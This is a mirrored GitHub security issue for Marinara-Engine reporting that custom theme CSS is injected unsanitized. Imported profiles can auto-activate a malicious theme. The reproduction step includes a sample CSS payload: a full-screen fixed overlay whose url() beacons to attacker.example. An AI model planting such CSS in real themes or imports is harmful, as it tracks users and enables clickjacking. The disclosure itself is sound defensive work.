mirror of
https://github.com/Pasta-Devs/Marinara-Engine.git
synced 2026-12-03 19:00:50 +07:00
[GH-ISSUE #2365] [Issue]: Active theme CSS is injected raw and unscoped into document.head, bypassing the card-CSS sanitizer (url() exfil, clickjacking) #1166
Labels
No labels
android
bug
bugfix
ci
client
code freeze pause
container
dependencies
docs
documentation
duplicate
enhancement
feature
feature
feature
feature-creep
fixed-in-refactor
fixed-in-staging
good first issue
help wanted
in-pr
in-pr
needs-codeowner-decision
normal-scope
old-codebase
old-codebase
pull-request
qol
question
refactor
regression
revisit later
roadmap
scope-risk
scope-risk
server
server
shared
soup
upstream
windows
No milestone
No project
No assignees
1 participant
Notifications
Due date
No due date set.
Dependencies
No dependencies set.
Reference
Pasta-Devs/Marinara-Engine#1166
Loading…
Add table
Add a link
Reference in a new issue
No description provided.
Delete branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Originally created by @Romuromylus on GitHub (Jun 5, 2026).
Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2365
Originally assigned to: @Romuromylus on GitHub.
Summary
Severity: Medium — XSS-class (CSS injection / exfil / clickjacking).
The active custom theme's CSS is written verbatim into a global
<style>indocument.headwith no sanitization and no scoping, bypassing every guard the sibling card-CSS path enforces. Because profile import honors an imported theme'sisActive: trueflag as-is, a shared.marinara/ profile envelope can auto-activate an attacker-supplied theme on import.Expected behavior
Untrusted theme CSS should pass through the same dangerous-construct stripper the card path uses (
sanitizeChatCss/scopeChatCss) before injection — at minimum stripping remoteurl(),@import,expression(), and full-viewportposition:fixed. An imported theme should not auto-activate; the user should explicitly enable it.Actual behavior
src/app/providers/CustomThemeInjector.tsx:64injects the active theme's CSS raw:activeThemeiscustomThemes.find(t => t.isActive)(line 47). The sibling paths that render untrusted CSS do sanitize:CreatorNotesCssInjector.tsx:68andChatMessage.tsx:943both run their CSS throughscopeChatCssfirst, andsanitizeChatCss(src/shared/lib/chat-css.ts:333-404) strips non-data:url(),@import,@namespace,expression(),javascript:/vbscript:,behavior,-moz-binding,:has(), convertsposition:fixed→absolute, and strips theme tokens /!important/</style. The theme path applies none of that.Profile import makes this reachable without user intent: the Rust profile import (
commands/storage/profile.rs:835-871validate_native_profile_import) only checks that each collection is a JSON array and upserts thethemesrows verbatim (profile.rs:981);normalize_typed_json_fieldsnever touches thecssstring or stripsisActive, andcreateThemeSchema.css(theme.schema.ts:6) isz.string()with no sanitization. So an imported envelope can ship a theme withisActive: truethat activates on the next render and injects attacker CSS. The injected CSS can runbackground: url(https://attacker/pixel?opened=1)or@import url(...)to exfil that the app was opened plus IP/timing/fingerprint, lay aposition:fixed; inset:0; z-index:99999full-viewport clickjacking overlay, override app theme tokens, and!important-restyle arbitrary UI. (tauri.conf.jsonshipssecurity.csp = null, so the remote request fires on render.)Steps to reproduce
.marinara/ profile envelope whosethemescollection contains a theme withisActive: trueandcss: "body::before{content:'';position:fixed;inset:0;background:url(https://attacker.example/beacon?opened=1)}".Impact area
Environment
330f69a8Logs, screenshots, or video
Static source audit. Cited:
src/app/providers/CustomThemeInjector.tsx:64(raw theme CSS),:83(raw extension CSS),:47(active selection); sanitizer referencesrc/shared/lib/chat-css.ts:333-404; sibling-safe pathsCreatorNotesCssInjector.tsx:68,ChatMessage.tsx:943; import pathcommands/storage/profile.rs:835-871,:981.Regression notes
Found via static audit; not a regression. The web build's
packages/client/src/components/layout/CustomThemeInjector.tsxdoes the byte-identicalstyle.textContent = activeTheme.css;with no sanitization, and main's profile import insertsthemesrows verbatim (and in fact re-activates the imported active theme). The refactor is a near-verbatim port of this pre-existing parity gap, so it is shared by both builds rather than introduced by the refactor.Additional context
Factor the dangerous-construct stripper out of
sanitizeChatCss(src/shared/lib/chat-css.ts) into a reusablestripDangerousCss(css)(network + clickjacking guards: strip non-data:url(),@import,@namespace,expression(), forbidposition:fixed,behavior/-moz-binding,</style) and apply it atCustomThemeInjector.tsx:64(theme CSS) and:83(extension CSS). Additionally, do not auto-honor an imported theme'sisActiveflag — require explicit user activation after import. Related hardening: the extension-JS auto-execution gap on the same import path is filed separately.Template check
@Romuromylus commented on GitHub (Jun 5, 2026):
Same profile-import root as #2366 (extensions restored with
enabled:true+ arbitrary JS): both stem from the import path honoring importedisActive/enabledflags without a defensive reset, and the fix is the same family — don't auto-honor active/enabled state from imported data. The CSS-only exfil/clickjacking surface here also overlaps #2367 (game-modeAnimatedTextstyle-attr), which wants the sameurl()/position:fixedstripping; factoring a sharedstripDangerousCsswould cover both.@Romuromylus commented on GitHub (Jun 6, 2026):
Fixed by #2382, merged into
refactor(squash336cbf1f).